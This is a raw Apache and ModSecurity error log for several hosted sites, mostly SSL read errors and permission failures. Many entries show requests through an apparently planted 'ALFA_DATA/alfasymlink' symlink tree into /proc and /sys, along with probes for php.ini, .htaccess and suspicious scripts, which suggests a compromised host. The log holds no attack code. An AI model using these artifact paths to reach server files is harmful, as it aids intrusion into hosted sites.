[Tue Oct 27 14:35:07.718972 2026] [ssl:error] [pid 3282464:tid 3282464] (70014)End of file found: [client 44.207.252.58:16416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:35:17.837226 2026] [ssl:error] [pid 3282208:tid 3282208] (70014)End of file found: [client 185.191.171.5:49648] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:35:19.817172 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 18.209.201.119:43787] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:35:23.763083 2026] [ssl:error] [pid 3282234:tid 3282234] (5)Input/output error: [client 44.216.172.204:23369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:35:46.467852 2026] [security2:error] [pid 3282570:tid 3282570] [client 216.73.217.51:64674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/agent-base/"] [unique_id "auDvArKFgxK9r4JpI8ynTgAAAB0"]
[Tue Oct 27 14:35:46.467920 2026] [security2:error] [pid 3282570:tid 3282570] [client 216.73.217.51:64674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/agent-base/"] [unique_id "auDvArKFgxK9r4JpI8ynTgAAAB0"]
[Tue Oct 27 14:35:50.384312 2026] [security2:error] [pid 3282569:tid 3282569] [client 216.73.217.51:63976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/once/"] [unique_id "auDvBsnCuz2YAOrSRfnrLQAAABw"]
[Tue Oct 27 14:35:50.384380 2026] [security2:error] [pid 3282569:tid 3282569] [client 216.73.217.51:63976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/once/"] [unique_id "auDvBsnCuz2YAOrSRfnrLQAAABw"]
[Tue Oct 27 14:35:52.057018 2026] [authz_core:error] [pid 3280867:tid 3280867] [client 47.245.28.178:54890] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:35:56.179958 2026] [ssl:error] [pid 3282569:tid 3282569] (70014)End of file found: [client 107.20.255.194:16741] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:35:57.736185 2026] [authz_core:error] [pid 3282569:tid 3282569] [client 47.245.28.178:54904] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:36:07.822516 2026] [ssl:error] [pid 3282592:tid 3282592] (70014)End of file found: [client 52.45.29.57:35188] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:36:15.834400 2026] [ssl:error] [pid 3282561:tid 3282561] (70014)End of file found: [client 44.215.210.112:38896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:36:19.749980 2026] [core:error] [pid 3281868:tid 3281868] (13)Permission denied: [client 52.205.222.214:17847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A06:01/subsystem/uevent
[Tue Oct 27 14:36:35.883749 2026] [ssl:error] [pid 3282644:tid 3282644] (70014)End of file found: [client 98.84.70.201:35615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:36:47.732582 2026] [core:error] [pid 3282464:tid 3282464] (13)Permission denied: [client 44.207.207.36:7355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory6/node0/cpu1/crash_notes_size
[Tue Oct 27 14:37:02.382244 2026] [security2:error] [pid 3282812:tid 3282812] [client 43.164.0.21:34156] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesonnowebsite.php"] [unique_id "auDvTgqYlT-u5TqT9Y5CMgAAABM"]
[Tue Oct 27 14:37:07.889192 2026] [ssl:error] [pid 3282634:tid 3282634] (70014)End of file found: [client 18.205.127.11:49141] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:37:12.363085 2026] [security2:error] [pid 3282807:tid 3282807] [client 216.73.217.51:22158] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/PHPMailer/language/phpmailer.lang-az.php"] [unique_id "auDvWKgDYQXhwmgXg_J3TgAAAAo"]
[Tue Oct 27 14:37:12.363177 2026] [security2:error] [pid 3282807:tid 3282807] [client 216.73.217.51:22158] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/PHPMailer/language/phpmailer.lang-az.php"] [unique_id "auDvWKgDYQXhwmgXg_J3TgAAAAo"]
[Tue Oct 27 14:37:32.566328 2026] [ssl:error] [pid 3282953:tid 3282953] (70014)End of file found: [client 85.208.96.199:47330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:37:41.136869 2026] [ssl:error] [pid 3282958:tid 3282958] (70014)End of file found: [client 85.208.96.211:55990] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:37:43.829672 2026] [ssl:error] [pid 3282812:tid 3282812] (70014)End of file found: [client 18.206.47.187:40469] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:37:59.843289 2026] [core:error] [pid 3282806:tid 3282806] (13)Permission denied: [client 100.29.107.38:54170] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS3/subsystem/tty10/subsystem/ttyS2/line
[Tue Oct 27 14:38:11.803243 2026] [ssl:error] [pid 3282564:tid 3282564] (70014)End of file found: [client 44.207.207.36:24852] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:38:15.864335 2026] [ssl:error] [pid 3282806:tid 3282806] (70014)End of file found: [client 18.235.81.246:52733] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:38:19.799988 2026] [ssl:error] [pid 3283051:tid 3283051] (70014)End of file found: [client 107.20.181.148:19244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:38:39.721885 2026] [ssl:error] [pid 3282812:tid 3282812] (70014)End of file found: [client 52.204.174.139:17075] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:38:43.922883 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 3.221.50.71:64610] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:38:51.918063 2026] [core:error] [pid 3283065:tid 3283065] (13)Permission denied: [client 3.219.81.66:47472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/cpu1/firmware_node/eject
[Tue Oct 27 14:39:07.765670 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 50.19.102.70:37327] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:39:11.744296 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 52.45.77.169:17073] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:39:11.744535 2026] [security2:error] [pid 3283124:tid 3283124] [client 52.45.77.169:17073] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/cpu0/topology/core_siblings_list"] [unique_id "auDvzw1FNlCMhZwPJjq1qAAAAB8"]
[Tue Oct 27 14:39:11.744583 2026] [security2:error] [pid 3283124:tid 3283124] [client 52.45.77.169:17073] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/cpu0/topology/core_siblings_list"] [unique_id "auDvzw1FNlCMhZwPJjq1qAAAAB8"]
[Tue Oct 27 14:39:16.001507 2026] [ssl:error] [pid 3282812:tid 3282812] (70014)End of file found: [client 34.227.234.246:9172] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:39:19.593720 2026] [ssl:error] [pid 3283065:tid 3283065] (70014)End of file found: [client 3.230.224.6:38649] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:39:38.686911 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 18.213.240.226:10910] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:39:47.551734 2026] [security2:error] [pid 3283102:tid 3283102] [client 216.73.217.51:44967] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "auDv81kOzduOesa9Syee4QAAAAc"]
[Tue Oct 27 14:39:47.551785 2026] [security2:error] [pid 3283102:tid 3283102] [client 216.73.217.51:44967] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "auDv81kOzduOesa9Syee4QAAAAc"]
[Tue Oct 27 14:39:48.348150 2026] [security2:error] [pid 3283131:tid 3283131] [client 216.73.217.51:56410] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/"] [unique_id "auDv9A_NWpNXW6YYYSJmoQAAACg"]
[Tue Oct 27 14:39:48.348196 2026] [security2:error] [pid 3283131:tid 3283131] [client 216.73.217.51:56410] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/"] [unique_id "auDv9A_NWpNXW6YYYSJmoQAAACg"]
[Tue Oct 27 14:39:51.656393 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 52.6.232.201:17413] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:39:55.887810 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 52.6.232.201:27651] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:40:07.727468 2026] [ssl:error] [pid 3283128:tid 3283128] (5)Input/output error: [client 44.223.116.180:2123] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:40:11.758227 2026] [core:error] [pid 3283104:tid 3283104] (13)Permission denied: [client 34.233.219.155:44570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory11/node0/memory11/subsystem/uevent
[Tue Oct 27 14:40:15.733070 2026] [ssl:error] [pid 3283116:tid 3283116] (70014)End of file found: [client 54.225.98.148:12825] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:40:39.956162 2026] [ssl:error] [pid 3283051:tid 3283051] (70014)End of file found: [client 18.213.70.100:64777] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:40:43.568085 2026] [ssl:error] [pid 3283116:tid 3283116] (70014)End of file found: [client 34.236.41.241:58226] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:40:45.758119 2026] [core:error] [pid 3282923:tid 3282923] (13)Permission denied: [client 85.208.96.209:64262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/poison
[Tue Oct 27 14:41:06.614610 2026] [proxy_fcgi:error] [pid 3283124:tid 3283124] [client 85.204.70.100:56435] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 14:41:31.759305 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 18.213.102.186:37027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:41:35.557074 2026] [ssl:error] [pid 3283147:tid 3283147] (70014)End of file found: [client 54.152.163.42:60735] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:41:39.767326 2026] [core:error] [pid 3283128:tid 3283128] (13)Permission denied: [client 107.22.208.39:25563] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/memory17/subsystem/drivers_probe
[Tue Oct 27 14:41:47.914402 2026] [ssl:error] [pid 3283052:tid 3283052] (70014)End of file found: [client 18.205.91.101:16456] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:41:55.693047 2026] [ssl:error] [pid 3283147:tid 3283147] (70014)End of file found: [client 34.226.89.140:31335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:41:57.250087 2026] [authz_core:error] [pid 3283128:tid 3283128] [client 45.138.12.32:63812] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 14:42:07.747120 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 100.28.49.152:52928] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:42:09.552507 2026] [authz_core:error] [pid 3283128:tid 3283128] [client 45.138.12.32:64072] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 14:42:14.720258 2026] [security2:error] [pid 3283128:tid 3283128] [client 45.138.12.32:64072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "col2.sherwinpinturas.com"] [uri "/tasks"] [unique_id "auDwhvbEfHfX8-Sda3zvogAAACQ"]
[Tue Oct 27 14:42:14.720314 2026] [security2:error] [pid 3283128:tid 3283128] [client 45.138.12.32:64072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "col2.sherwinpinturas.com"] [uri "/tasks"] [unique_id "auDwhvbEfHfX8-Sda3zvogAAACQ"]
[Tue Oct 27 14:42:18.061623 2026] [core:crit] [pid 3283052:tid 3283052] (13)Permission denied: [client 45.74.28.173:38328] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 14:42:18.222388 2026] [authz_core:error] [pid 3283147:tid 3283147] [client 45.74.28.173:38342] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:42:31.554092 2026] [core:error] [pid 3283101:tid 3283101] (13)Permission denied: [client 44.209.35.147:7766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/memory6/subsystem/devices/memory21/subsystem/drivers_probe
[Tue Oct 27 14:42:47.618884 2026] [core:error] [pid 3283128:tid 3283128] (13)Permission denied: [client 50.16.248.61:14749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:04.0/resource4
[Tue Oct 27 14:42:59.444666 2026] [authz_core:error] [pid 3283145:tid 3283145] [client 195.178.110.50:36296] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:43:04.145422 2026] [core:error] [pid 3283128:tid 3283128] (13)Permission denied: [client 35.170.205.140:13431] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:18/eject
[Tue Oct 27 14:43:15.862746 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.73.142.41:56972] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:43:19.930812 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 98.84.60.17:31671] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:43:35.926898 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 54.83.240.58:24776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:43:43.198315 2026] [authz_core:error] [pid 3284002:tid 3284002] [client 47.79.201.239:54230] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Tue Oct 27 14:44:08.017971 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 23.21.148.226:4027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:44:19.981080 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 3.225.9.97:6920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:44:35.562010 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 44.209.187.99:63233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:44:44.099416 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 52.202.52.82:55067] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:44:46.526079 2026] [core:error] [pid 3283145:tid 3283145] (13)Permission denied: [client 185.191.171.19:31372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/min_partial
[Tue Oct 27 14:44:55.839321 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.234.197.175:44998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:45:03.973493 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 52.6.97.88:21276] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:45:19.800848 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 23.23.213.182:61638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:45:31.740328 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 18.213.240.226:17721] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:45:39.808121 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 34.203.111.15:3953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:45:43.756674 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 23.21.148.226:50778] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:45:52.049683 2026] [core:error] [pid 3282923:tid 3282923] (13)Permission denied: [client 3.226.106.93:45170] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:1c/eject
[Tue Oct 27 14:46:03.771249 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 98.82.59.253:33373] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:46:11.725050 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.204.81.148:17865] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:46:23.900009 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 52.4.229.9:31535] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:46:39.733296 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 3.229.2.217:53922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:46:44.286433 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 54.147.182.90:62262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:46:47.866851 2026] [ssl:error] [pid 3284012:tid 3284012] (70014)End of file found: [client 52.0.41.164:8664] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:46:51.734846 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 44.210.213.220:48954] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:46:59.536225 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 185.191.171.4:36624] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:01.894007 2026] [core:error] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.9:34090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/usersize
[Tue Oct 27 14:47:11.848058 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 3.211.181.86:25871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:13.478750 2026] [security2:error] [pid 3274706:tid 3274706] [client 107.172.76.131:61870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDxowoyJtJSP9voS0aJPAAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:47:13.478805 2026] [security2:error] [pid 3274706:tid 3274706] [client 107.172.76.131:61870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDxowoyJtJSP9voS0aJPAAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:47:15.800779 2026] [core:error] [pid 3284012:tid 3284012] (13)Permission denied: [client 54.89.90.224:18973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/flags
[Tue Oct 27 14:47:19.738867 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 54.83.23.103:13813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:23.769135 2026] [ssl:error] [pid 3283124:tid 3283124] (70014)End of file found: [client 34.205.170.13:8498] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:31.712922 2026] [ssl:error] [pid 3284012:tid 3284012] (70014)End of file found: [client 44.218.6.93:36021] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:36.038902 2026] [ssl:error] [pid 3283128:tid 3283128] (70014)End of file found: [client 3.210.29.96:28123] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:38.945051 2026] [security2:error] [pid 3283116:tid 3283116] [client 107.172.76.131:61866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDxvuFA2F_G1vWzwI-DXwAAABY"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 14:47:38.945094 2026] [security2:error] [pid 3283116:tid 3283116] [client 107.172.76.131:61866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDxvuFA2F_G1vWzwI-DXwAAABY"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 14:47:39.920251 2026] [ssl:error] [pid 3283145:tid 3283145] (70014)End of file found: [client 3.93.253.174:52122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:43.557444 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.234.197.175:62711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:45.336421 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3/' is executable
[Tue Oct 27 14:47:45.336500 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3-login/' is executable
[Tue Oct 27 14:47:45.336520 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve/' is executable
[Tue Oct 27 14:47:45.336553 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve-login/' is executable
[Tue Oct 27 14:47:45.336571 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.indexer-worker/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.indexer-worker/' is executable
[Tue Oct 27 14:47:45.336587 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap/' is executable
[Tue Oct 27 14:47:45.336611 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-login/' is executable
[Tue Oct 27 14:47:45.336628 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-hibernate/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-hibernate/' is executable
[Tue Oct 27 14:47:45.336655 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/token-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/token-login/' is executable
[Tue Oct 27 14:47:45.336675 2026] [core:crit] [pid 3284012:tid 3284012] (13)Permission denied: [client 185.191.171.3:19756] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/login/' is executable
[Tue Oct 27 14:47:51.734548 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 44.194.134.53:3245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:47:55.821901 2026] [ssl:error] [pid 3284012:tid 3284012] (70014)End of file found: [client 23.21.175.228:28113] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:48:00.169178 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 3.211.105.134:37605] AH02013: coalesce failed to read from data bucket
